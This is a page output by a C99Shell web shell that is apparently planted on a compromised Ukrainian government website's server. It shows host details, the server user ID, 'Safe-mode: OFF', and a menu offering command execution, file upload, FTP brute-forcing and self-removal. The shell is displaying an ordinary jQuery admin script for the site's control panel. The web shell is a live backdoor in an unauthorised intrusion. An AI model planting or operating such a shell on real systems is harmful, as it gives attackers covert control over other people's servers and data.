!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/js/   drwxrwxrwx
Free 106.87 GB of 200.55 GB (53.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin.js (4.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Globalite.language("rus", { 
    delete_question: "Удалить?"
});
Globalite.language("ukr", {
        delete_question: "Видалити?"
});

$(document).ready(function()
{	
	$("#PagesAdminParams input[type='checkbox']").change(function()
	{
		var f = true;
		var l = $(this).attr('level');
		var val = $(this).attr('checked');
		$(this).parent().nextAll().find("input").each(function()
		{
			if (f && $(this).attr('level') > l)
			{
				$(this).attr('checked', val);
			} else
			f  = false;
		});
	});
    $("button, input[type=submit]").button();
	$("#auth-form").ajaxForm(function()
	{
		form = $("#auth-form").serialize();
		$.post("/admin-asynch.php?mod=Admins&auth", form, function(data)
		{
			if(data.status == 'error')
			{
				$("#auth-error-message").fadeIn(1000);
				$("#auth-error-message").text(data.error);
			}
			if (data.status == 'ok')
			{
				$("#auth-error-message").hide();		
				$("html").fadeOut(1000, function()
				{
					location.reload();
				});							
			}
		}, 'json');
	});
	$("#current-language").buttonset();
	$("#current-language input").click(function()
	{
		lang = $("input[@name='current-language']:checked").val();
		$(".ukr, .rus, .eng").css('display', 'none');
		$("."+lang).css('display', 'block');
	});
	$("table.sortable").tableDnD( { onDragClass: "selected",
							 onDrop: function(table, row)
									 {
										if (table)
										{
											$.post("/admin-asynch.php?mod="+$(table).attr("mod"), {"table": $(table).attr("table"), "ids": $.tableDnD.serialize(), "oper" : "sorting"});
										}
									  }
	});


	$(".admin-table .ajax").click(function()
	    {			
			if ($(this).hasClass('delete'))
				if (!confirm("delete_question".l()))
					return false;
			id = ($(this).parent("td").parent("tr").attr('id')); 
			table = $(this).parent("").parent("").parent("").parent("").attr('table'); 
			mod = $(this).parent("").parent("").parent("").parent("").attr('mod'); 
			oper = $(this).attr('oper'); 
 			$.post("/admin-asynch.php", { "mod" : mod, "oper" : oper, 'id' : id, 'table' : table },
  		    	function(data)
				{
  			    	if (data.status != 'ok')
					   return;
					$("table tr[id="+data.code+"] td").animate({"background-color" : "#EFF39E"}, 1000,"", function(data){						
								$(this).parent("tr").remove();
					});
				 }, "json");			
			return false;
		});

	$(".admin-table .ajax-photomanager-main-photo").click(function()
	    {			
			if ($(this).hasClass('delete'))
				if (!confirm("delete_question".l()))
					return false;
			id = ($(this).parent("td").parent("tr").attr('id')); 
			table = $(this).parent("").parent("").parent("").parent("").attr('table'); 
			mod = $(this).parent("").parent("").parent("").parent("").attr('mod'); 
			oper = $(this).attr('oper'); 
 			$.post("/admin-asynch.php", { "mod" : mod, "oper" : oper, 'id' : id, 'table' : table },
  		    	function(data)
				{
  			    	if (data.status != 'ok')
					   return;
					$("table tr[id="+data.code+"] td").children("textarea,input").attr("value", "");
					$("#mainphoto_image").attr("src","/data/photomanager/empty.jpg");
				 }, "json");			
			return false;
		});
	$(".admin-table .ajax-photomanager-photo").live('click', myfn);
/*	$("input[name='mainphoto']").change( function(){
	 	$("#mainphoto_image").attr("src", "/data/photomanager/change.jpg");
	});
	$("input[name='photo[]']").change( function(){
	 	$("img[name='photo_image[]']").attr("src", "/data/photomanager/change.jpg");
	});*/
 	$("#photomanager-add-photo-link").click(function()
	{
		$("#photomanager-photos-table > thead tr:eq(1)").after("<tr>"+$("#photomanager-photos-table > thead tr:eq(1)").html()+"</tr>");
		$("img[name='photo_image[]']:eq(1)").attr("src","/data/photomanager/empty.jpg");
		$("textarea[name='photo_title_rus[]']:eq(1)").attr("value","");
		$("textarea[name='photo_title_ukr[]']:eq(1)").attr("value","");
		$("textarea[name='photo_title_eng[]']:eq(1)").attr("value","");
		$("textarea[name='photo_description_rus[]']:eq(1)").attr("value","");
		$("textarea[name='photo_description_ukr[]']:eq(1)").attr("value","");
		$("textarea[name='photo_description_eng[]']:eq(1)").attr("value","");
		$("input[name='photo_id[]']:eq(1)").attr("value","new");
//		$(".admin-table .ajax-photomanager-photo").click(myfn);
		return false;
	});

});
function myfn()

	    {			
			if ($(this).hasClass('delete'))
				if (!confirm("delete_question".l()))
					return false;
			id = ($(this).parent("td").parent("tr").attr('id')); 
			table = $(this).parent("").parent("").parent("").parent("").attr('table'); 
			mod = $(this).parent("").parent("").parent("").parent("").attr('mod'); 
			oper = $(this).attr('oper'); 
			lnk = $(this);
 			$.post("/admin-asynch.php", { "mod" : mod, "oper" : oper, 'id' : id, 'table' : table },
  		    	function(data)
				{
//  			    	if (data.status != 'ok')
//					   return;
//					   alert(lnk.parent("tr"));				   
					lnk.parent().parent().children().animate({"background-color" : "#EFF39E"}, 300,"", function(data){						
								lnk.parent().parent().remove();});

				 }, "json");			
			return false;
		}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0375 ]--